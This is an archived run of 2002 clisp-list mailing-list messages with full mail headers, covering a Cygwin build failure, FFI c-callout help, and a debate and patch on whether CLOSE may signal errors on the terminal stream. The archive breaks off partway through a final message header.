for ; Mon, 19 Aug 2002 07:15:06 -0700 Received: from 167.107.229.201 by mailhub0.experian.com (InterScan E-Mail VirusWall NT); Mon, 19 Aug 2002 09:01:10 -0500 Received: from expexch2.mck.experian.com (expexch2.mck.experian.com) by mailhub1.experian.com (8.11.6/8.11.6) with ESMTP id g7JEED118368 for ; Mon, 19 Aug 2002 09:14:13 -0500 (CDT) Received: by expexch2.mck.experian.com with Internet Mail Service (5.5.2653.19) id ; Mon, 19 Aug 2002 09:15:12 -0500 Message-ID: From: "Ribeiro, Glauber" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Still trying to make CLISP with Cygwin, windows98 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 19 07:16:02 2002 X-Original-Date: Mon, 19 Aug 2002 09:14:55 -0500 I gave it another try. This time, i used only Cygwin utilities (gzip and tar) to unpack the CVS tree, then used Cygwin cvs to get the source. As expected, the CVS tree looked right, and the source code had Unix line termination (LF only). The results, though, were the same as before: "configure --with-mingw" ran for just over 2.5 hours, and at the end it didn't generate "makemake". Here's a copy of src/makemake after configure finished: #!/bin/bash # Generated from makemake.in by configure. (just these 2 lines). Makemake.in is there, but it doesn't have the substitutions (it has things like @CC@ in it, that probably get replaced with the real name of the compiler, etc, by configure). Has anybody else had this problem? glauber From adia@noc.uoa.gr Tue Aug 20 00:32:43 2002 Received: from peponi.noc.uoa.gr ([195.134.100.20]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17h3VI-0005Lj-00 for ; Tue, 20 Aug 2002 00:32:40 -0700 Received: from peponi.noc.uoa.gr (adia@localhost [127.0.0.1]) by peponi.noc.uoa.gr (8.12.5/8.12.5/Debian-1) with ESMTP id g7K7WTMq005716 for ; Tue, 20 Aug 2002 10:32:29 +0300 Received: (from adia@localhost) by peponi.noc.uoa.gr (8.12.5/8.12.5/Debian-1) id g7K7WTtb005714 for clisp-list@lists.sourceforge.net; Tue, 20 Aug 2002 10:32:29 +0300 X-Authentication-Warning: peponi.noc.uoa.gr: adia set sender to adia@noc.uoa.gr using -f From: Alexandros Diamantidis To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLX demos? Message-ID: <20020820073228.GA5643@noc.uoa.gr> References: <20020819104116.GA3587@noc.uoa.gr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 20 00:33:02 2002 X-Original-Date: Tue, 20 Aug 2002 10:32:28 +0300 * Sam Steingold [2002-08-19 09:27]: > weird - the demos work for me just fine. > did you do 'make install'? I'm sorry, it was a local problem after all. I remembered that while I was building clisp, I had found it stopped at a clisp prompt (probably with some error message). I just ignored it and pressed C-d, and the build seemed to finish without other problems. Afterwards, I did "make install". That was the installation that didn't work. I tried deleting everything, unpacking the clisp distribution anew, and rebuilding. This time the build didn't have any problems, and the demos work fine now. Unfortunately I don't know what I did differently last time to cause this... -- Alexandros Diamantidis * adia@noc.uoa.gr From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 20 04:19:07 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17h72N-0004yb-00 for ; Tue, 20 Aug 2002 04:19:04 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 20 Aug 2002 13:18:51 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Aug 2002 13:18:51 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: toy@rtp.ericsson.se Subject: [clisp-list] Can CLOSE signal an error? (was: CHARSET questions & early vs late error signaling) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 20 04:20:03 2002 X-Original-Date: Tue, 20 Aug 2002 13:18:48 +0200 Sam Steingold wrote: >actually this behavior is mandated by the ANSI CL spec: CLOSE cannot >signal an error. I cannot believe so, i.e., I suspect misinterpretation of the CLHS. But I'm not firm at standard interpretation. I believe you read: http://www.lispworks.com/reference/HyperSpec/Body/f_close.htm#close "Exceptional Situations: None." But similar text is there for FINISH/FORCE/CLEAR-OUTPUT: http://www.lispworks.com/reference/HyperSpec/Body/f_finish.htm#force-output "Exceptional Situations: Should signal an error of type type-error if output-stream is not a stream designator." -- That's all it says. Yet we all know that forcing a buffer to the file systems can result in I/O errors (like any read or write can). So would that mean that CLHS mandates such I/O errors be explicitly ignored?! I'm sure it's not the case. It cannot be the case (what a sin against reliability!). Neither is an I/O error is mentioned under exceptional situations for WRITE-SEQUENCE et al. I believe "exceptional situations" is not an exhaustive list. Kent M Pitman said something on this topic on cll in July this year. I'm sure the CLHS does *not* mandate that the application/programmer never sees any error generated by the OS calls underlying WRITE, FORCE-OUTPUT or CLOSE. Or CLISP is inconsistent again: CLOSE shall not signal errors, while WRITE could? Kent Pitman said: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=sfw65zkaitb.fsf%40shell01.TheWorld.com&rnum=1&prev=/groups%3Fas_q%3Dexceptional%2Bsituations%26num%3D20%26as_scoring%3Dr%26hl%3Den%26ie%3DISO-8859-1%26btnG%3DGoogle%2BSearch%26as_epq%3D%26as_oq%3D%26as_eq%3D%26as_ugroup%3Dcomp.lang.lisp%26as_usubject%3D%26as_uauthors%3Dpitman%26as_umsgid%3D%26lr%3D%26as_drrb%3Dq%26as_qdr%3D%26as_mind%3D12%26as_minm%3D1%26as_miny%3D2002%26as_maxd%3D20%26as_maxm%3D8%26as_maxy%3D2002%26safe%3Dimages >So since you can neither conclude things from the presence nor the absence >of text in the Exceptional Situations section, you are indeed reading more >into it than is intended, but you are doing so in part, I'm betting, because >you misunderstand an "Exceptional Situation" to be a requirement or permission >to signal or not signal, and it isn't that at all. I believe this could describe why Sam (IMHO wrongly) states "CLOSE cannot signal an error". Kent said: >The absence of exceptional situations does not mean "this function has no >exceptional situations". It means "no text was put here". Regards, Jorg Hohle. From lhovey@ecs.syr.edu Tue Aug 20 06:08:34 2002 Received: from ecs.syr.edu ([128.230.208.14] helo=erebus.ecs.syr.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17h8kL-0002GR-00 for ; Tue, 20 Aug 2002 06:08:33 -0700 Received: from boreas.ecs.syr.edu (boreas.ecs.syr.edu [128.230.208.55]) by erebus.ecs.syr.edu (8.10.2/8.10.2) with ESMTP id g7KD8U608494 for ; Tue, 20 Aug 2002 09:08:30 -0400 (EDT) Received: from localhost (lhovey@localhost) by boreas.ecs.syr.edu (8.11.6+Sun/8.11.6) with ESMTP id g7KD8Tj10912 for ; Tue, 20 Aug 2002 09:08:29 -0400 (EDT) X-Authentication-Warning: boreas.ecs.syr.edu: lhovey owned process doing -bs From: Leland Hovey To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] ffi intro (c-callouts) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 20 06:09:07 2002 X-Original-Date: Tue, 20 Aug 2002 09:08:29 -0400 (EDT) I need to find the documentation describing the basic techniques (step by step) of using c-callouts. Specifically, what is the syntax, where would a c function reside, and how can I inform clisp about the c function's location? I've found a little information in the implementation notes (i.e., calling out to gethostname) but this example doesn't work for me. thanks, Leland H. From samuel.steingold@verizon.net Tue Aug 20 06:39:41 2002 Received: from h013.c001.snv.cp.net ([209.228.32.127] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17h9ER-0002gV-00 for ; Tue, 20 Aug 2002 06:39:39 -0700 Received: (cpmta 21567 invoked from network); 20 Aug 2002 06:39:33 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.127) with SMTP; 20 Aug 2002 06:39:33 -0700 X-Sent: 20 Aug 2002 13:39:33 GMT To: Leland Hovey Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ffi intro (c-callouts) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 20 06:40:05 2002 X-Original-Date: 20 Aug 2002 09:39:31 -0400 > * In message > * On the subject of "[clisp-list] ffi intro (c-callouts)" > * Sent on Tue, 20 Aug 2002 09:08:29 -0400 (EDT) > * Honorable Leland Hovey writes: > > I need to find the documentation describing the basic techniques (step > by step) of using c-callouts. Specifically, what is the syntax, where > would a c function reside, and how can I inform clisp about the c > function's location? > > I've found a little information in the implementation notes (i.e., calling > out to gethostname) but this example doesn't work for me. you might want to look at the modules sources, e.g., bindings/linuxlibc6. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Beauty is only a light switch away. From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 20 06:39:46 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17h9EV-0002ga-00 for ; Tue, 20 Aug 2002 06:39:43 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 20 Aug 2002 15:39:27 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Aug 2002 15:39:26 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: lhovey@ecs.syr.edu Subject: [clisp-list] ffi intro (c-callouts) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 20 06:40:06 2002 X-Original-Date: Tue, 20 Aug 2002 15:39:18 +0200 Hi, Leland Hovey asks: >I need to find the documentation describing the basic techniques >(step by step) of using c-callouts. >Specifically, what is the syntax, I believe this is covered in enough depth in the impnotes.txt. Do you need more examples (found at the bottom of the FFI chapter)? >where would a c function reside, In an object module or shared library that you need to open or link against the CLISP binary. > and how can I inform clisp about the c >function's location? Usually done internally via DEF-CALL-OUT or similar forms. These are wrappers that'll try to find the location for you. (If you pass from ffi intro to expert level you could even construct foreign function objects on the fly :) >I've found a little information in the implementation notes >(i.e., calling >out to gethostname) but this example doesn't work for me. It would help us if you could be more/very specific about the exact nature of the problem. Having examples work is a good start for learning. Do the modules in directories modules/foo/bar help you? Also, what OS and CLISP are your using? Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Tue Aug 20 07:25:31 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17h9wn-0001Mp-00 for ; Tue, 20 Aug 2002 07:25:30 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17h9vZ-0003RW-00 for ; Tue, 20 Aug 2002 16:24:13 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17h9vZ-0003RE-00 for ; Tue, 20 Aug 2002 16:24:13 +0200 Path: not-for-mail From: Sam Steingold Newsgroups: gmane.lisp.clisp.general Organization: disorganization Lines: 24 Message-ID: References: Reply-To: sds@gnu.org NNTP-Posting-Host: 65.114.186.226 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1029853452 13149 65.114.186.226 (20 Aug 2002 14:24:12 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Tue, 20 Aug 2002 14:24:12 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Can CLOSE signal an error? (was: CHARSET questions & early vs late error signaling) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 20 07:26:03 2002 X-Original-Date: 20 Aug 2002 10:25:17 -0400 Okay, suppose I buy that. What behavior would you expect from (CLOSE *TERMINAL-IO*) ==> ? An error, right? What about (CLOSE *STANDARD-OUTPUT*) ==> ? *STANDARD-OUTPUT* is #. closing of SYNONYM-STREAMs is non-recursive, so this does not affect *TERMINAL-IO*, but it certainly makes further i/o impossible. Your logic dictates that CLOSE must check all streams for being the value of *STANDARD-OUTPUT*, *STANDARD-INPUT*, *QUERY-IO* &c &c &c &c. Isn't it too much? Let us step back and ask: what problem are we trying to solve here? I seem to recall vaguely that the problem was that the closed terminal stream was causing a crash - right? In that case, we should build --with-debug and see why it was closed in the first place. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Don't ascribe to malice what can be adequately explained by stupidity. From hin@van-halen.alma.com Tue Aug 20 07:27:01 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17h9yF-0001WF-00 for ; Tue, 20 Aug 2002 07:26:59 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g7KEQtkB009856; Tue, 20 Aug 2002 10:26:55 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g7KEQtTC009853; Tue, 20 Aug 2002 10:26:55 -0400 Message-Id: <200208201426.g7KEQtTC009853@van-halen.alma.com> From: "John K. Hinsdale" To: lhovey@ecs.syr.edu CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Leland Hovey on Tue, 20 Aug 2002 09:08:29 -0400 (EDT)) Subject: Re: [clisp-list] ffi intro (c-callouts) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 20 07:27:07 2002 X-Original-Date: Tue, 20 Aug 2002 10:26:55 -0400 > I need to find the documentation describing the basic techniques > (step by step) of using c-callouts. > I've found a little information in the implementation notes (i.e., calling > out to gethostname) but this example doesn't work for me. Hmmmm ... I just wrote a CLISP wrapper for a "C" lib and I found the CLISP FFI documentation to be quite copious and detailed. Maybe you're checking the "FAQ" and the Implementation Notes? You want this: http://clisp.sourceforge.net/impnotes.html It's rather big (1MB) so you should save it to your hard drive and bookmark it; you'll be reading it a lot :). See the section marked "Extensions 2.3 - The Foreign Function Call Facility". I also recommend analyzing the "regexp" add-on module and following that pattern. I think there is a also a "toy" example but it was not sufficiently complicated to exercise and illustrate all the features I needed. If you want specific help also feel free to Email me privately. Once you get into reading it, though, the CLISP docs really are refreshingly well done. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From lhovey@ecs.syr.edu Tue Aug 20 07:28:32 2002 Received: from ecs.syr.edu ([128.230.208.14] helo=erebus.ecs.syr.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17h9zi-0001gJ-00 for ; Tue, 20 Aug 2002 07:28:30 -0700 Received: from boreas.ecs.syr.edu (boreas.ecs.syr.edu [128.230.208.55]) by erebus.ecs.syr.edu (8.10.2/8.10.2) with ESMTP id g7KES2620301; Tue, 20 Aug 2002 10:28:27 -0400 (EDT) Received: from localhost (lhovey@localhost) by boreas.ecs.syr.edu (8.11.6+Sun/8.11.6) with ESMTP id g7KERqc14273; Tue, 20 Aug 2002 10:27:54 -0400 (EDT) X-Authentication-Warning: boreas.ecs.syr.edu: lhovey owned process doing -bs From: Leland Hovey To: "Hoehle, Joerg-Cyril" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ffi intro (c-callouts) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 20 07:29:01 2002 X-Original-Date: Tue, 20 Aug 2002 10:27:52 -0400 (EDT) So my OS is Solaris 8 and I've got clisp-2.29. function definition (file c-callout.lisp): (ffi:def-c-call-out gethostname (:arguments (name (ffi:c-ptr (ffi:c-array-max ffi:char 256)) :out :alloca) (len ffi:int)) (:return-type ffi:int)) ------------------------------------------------------------------- result from clisp: (load "c-callout.lisp") ;; Loading file /home/cisgrad/lhovey/lisp/c-callout.lisp ... *** - FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function "gethostname" does not exist ------------------------------------------------------------------ > Do the modules in directories modules/foo/bar help you? I searched the clisp-2.29 directory branch but there isn't a modules/foo/bar subdirectory. Could I have only a partial install? -L On Tue, 20 Aug 2002, Hoehle, Joerg-Cyril wrote: > Hi, > > Leland Hovey asks: > > >I need to find the documentation describing the basic techniques > >(step by step) of using c-callouts. > >Specifically, what is the syntax, > I believe this is covered in enough depth in the impnotes.txt. Do you need more examples (found at the bottom of the FFI chapter)? > > >where would a c function reside, > In an object module or shared library that you need to open or link against the CLISP binary. > > > and how can I inform clisp about the c > >function's location? > Usually done internally via DEF-CALL-OUT or similar forms. These are wrappers that'll try to find the location for you. (If you pass from ffi intro to expert level you could even construct foreign function objects on the fly :) > > > >I've found a little information in the implementation notes > >(i.e., calling > >out to gethostname) but this example doesn't work for me. > > It would help us if you could be more/very specific about the exact nature of the problem. > Having examples work is a good start for learning. > > Do the modules in directories modules/foo/bar help you? > > Also, what OS and CLISP are your using? > > Regards, > Jorg Hohle. > From hin@van-halen.alma.com Tue Aug 20 07:46:53 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hAHU-0007K2-00 for ; Tue, 20 Aug 2002 07:46:52 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g7KEknkB009954; Tue, 20 Aug 2002 10:46:49 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g7KEknor009951; Tue, 20 Aug 2002 10:46:49 -0400 Message-Id: <200208201446.g7KEknor009951@van-halen.alma.com> From: "John K. Hinsdale" To: lhovey@ecs.syr.edu CC: Joerg-Cyril.Hoehle@t-systems.com, clisp-list@lists.sourceforge.net In-reply-to: (message from Leland Hovey on Tue, 20 Aug 2002 10:27:52 -0400 (EDT)) Subject: Re: [clisp-list] ffi intro (c-callouts) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 20 07:47:05 2002 X-Original-Date: Tue, 20 Aug 2002 10:46:49 -0400 > result from clisp: > ... > *** - FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function "gethostname" does > not exist Might be that you are not running the "full" clisp which is the one that links in the extra C funcs. Go the subdir "src/full" and in there run ./lisp.run -M lispinit.mem and load your lisp file. Also, don't use the filename "c-callout.c" for your C funcs - your code will get clobbered when "c-callout.lisp" is compiled into "c-callout.c" Use some other name for your C files. > I searched the clisp-2.29 directory branch but there isn't a > modules/foo/bar subdirectory. Could I have only a partial install? I love the quoting problem. He means modules// with example being "modules/regexp" ... --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 20 08:58:24 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hBOg-0003wi-00 for ; Tue, 20 Aug 2002 08:58:22 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 20 Aug 2002 17:58:13 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Aug 2002 17:58:13 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Can CLOSE signal an error? (was: CHARSET questio ns & early vs late error signaling) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 20 08:59:03 2002 X-Original-Date: Tue, 20 Aug 2002 17:58:12 +0200 Sam Steingold wrote: >Your logic dictates that CLOSE must check all streams for being the >value of *STANDARD-OUTPUT*, *STANDARD-INPUT*, *QUERY-IO* &c &c &c &c. No. That's why I tried to be very precise and said (close #), not (close *terminal-io*). In every session, there's a (generally unique) such thing, while *terminal-io* may be bound to anything, likewise *standard-output*. So the only chek I once had was in the C low_level_close(object stream) { switch strm_type(object) { case strm_type_xyz: ....; break; case strm_type_terminal: raise error; } } >What behavior would you expect from > (CLOSE *TERMINAL-IO*) ==> ? >An error, right? Depends on the value of the binding. (let ((*terminal-io* (make-broadcast-stream))) (close *terminal-io*)) -> no error. I said "generally unique" because it's precisely at the time, many years ago, when I pointed at the problem of possibly closing the terminal-io object that Bruno added make_terminal_stream() which would 1) create a new such object if needed, and 2) bind *terminal-io* etc. to this newly created sane object. In my version I had a unique such object that I did revive. >Let us step back and ask: what problem are we trying to solve here? >I seem to recall vaguely that the problem was that the closed terminal >stream was causing a crash - right? or was it throwing an error? >In that case, we should build --with-debug and see why it was closed in >the first place. In my perception it's a GC like problem: the crash occurs much later than the fault. It's only when trying to access the # that a program would be hit by the error. That was an example for late early reporting in CLISP. OTOH, another scenario: Suppose *foreign-encoding* would be true special variables, so the 1:1 restriction detection could only occur while calling a foreign function, not at SETF time. Hmm... maybe using Lisp backtrace, one could still easily spot the place where this bindings takes place -- if it's a LET binding that gives the value, not a SETF. So the ease of spotting bogus values of *foreign-encoding* depends on a programers' custom: do the programmers use LET for the special variable, or SETF? It seems every scenario may have differing forces/priorities/ease of spotting bugs/ BTW, I don't like --with-debug. It's C level debugging, while I prefer to work in Lisp. The Lisp programmer should be able to find out what went wrong in his/her Lisp application via the usual helpers like Lisp backtrace, Lisp tracing or Lisp-level stepping, not by running gdb against the C stack. In 10 years of working on/with CLISP, I only used gdb when looking for gcc bugs or some things at the C level. Which doesn't mean that a C backtrace doesn't reveal insightful things... Regards, Jorg Hohle. From samuel.steingold@verizon.net Tue Aug 20 09:46:48 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hC9X-0003ab-00 for ; Tue, 20 Aug 2002 09:46:47 -0700 Received: (cpmta 2077 invoked from network); 20 Aug 2002 09:46:40 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 20 Aug 2002 09:46:40 -0700 X-Sent: 20 Aug 2002 16:46:40 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Can CLOSE signal an error? (was: CHARSET questio ns & early vs late error signaling) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 77 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 20 09:47:06 2002 X-Original-Date: 20 Aug 2002 12:46:39 -0400 > * In message > * On the subject of "[clisp-list] Re: Can CLOSE signal an error? (was: CHARSET questio ns & early vs late error signaling)" > * Sent on Tue, 20 Aug 2002 17:58:12 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold wrote: > >Your logic dictates that CLOSE must check all streams for being the > >value of *STANDARD-OUTPUT*, *STANDARD-INPUT*, *QUERY-IO* &c &c &c &c. > No. That's why I tried to be very precise and said > (close #), not (close *terminal-io*). that's what I meant too - you misunderstood me! please read my message again. > In every session, there's a (generally unique) such thing, while > *terminal-io* may be bound to anything, likewise *standard-output*. sure. > I said "generally unique" because it's precisely at the time, many > years ago, when I pointed at the problem of possibly closing the > terminal-io object that Bruno added make_terminal_stream() which would > 1) create a new such object if needed, and 2) bind *terminal-io* > etc. to this newly created sane object. > In my version I had a unique such object that I did revive. I see no difference between creating a new object and reviving the old one. The only difference that matters here is whether you permit closing # or not. Or maybe you want fehler_value_stream() to restore the values silently instead of signaling an error? Or make the error continuable? if you want to detect closing system i/o streams, it is not enough to forbid closing # because, as I explained in the previous message, *standard-output* is not bound to such values! try the appended patch and see for yourself. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux You think Oedipus had a problem -- Adam was Eve's mother. --- stream.d.~1.307.~ Mon Aug 12 10:05:28 2002 +++ stream.d Tue Aug 20 09:50:40 2002 @@ -10505,10 +10505,7 @@ # Returns an interactive Terminal-Stream. # can trigger GC -local object make_terminal_stream (void) { - return add_to_open_streams(make_terminal_stream_()); -} - +#define make_terminal_stream() make_terminal_stream_() # Window-Stream # ============= @@ -16154,7 +16151,7 @@ #ifdef KEYBOARD case strmtype_keyboard: break; #endif - case strmtype_terminal: break; + case strmtype_terminal: fehler_illegal_streamop(S(close),stream); #ifdef SCREEN case strmtype_window: close_window(stream); break; #endif --- constsym.d.~1.161.~ Tue Aug 6 15:55:46 2002 +++ constsym.d Tue Aug 20 09:43:28 2002 @@ -915,6 +915,7 @@ LISPSYM(set_stream_external_format,"SET-STREAM-EXTERNAL-FORMAT",system) LISPSYM(interactive_stream_p,"INTERACTIVE-STREAM-P",lisp) LISPSYM(built_in_stream_close,"BUILT-IN-STREAM-CLOSE",system) +LISPSYM(close,"CLOSE",lisp) /* error reporting in stream.d */ LISPSYM(read_byte,"READ-BYTE",lisp) LISPSYM(read_byte_lookahead,"READ-BYTE-LOOKAHEAD",ext) LISPSYM(read_byte_will_hang_p,"READ-BYTE-WILL-HANG-P",ext) From vs1100@terra.es Wed Aug 21 14:11:04 2002 Received: from [213.4.129.129] (helo=tsmtp9.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hckq-0005bC-00 for 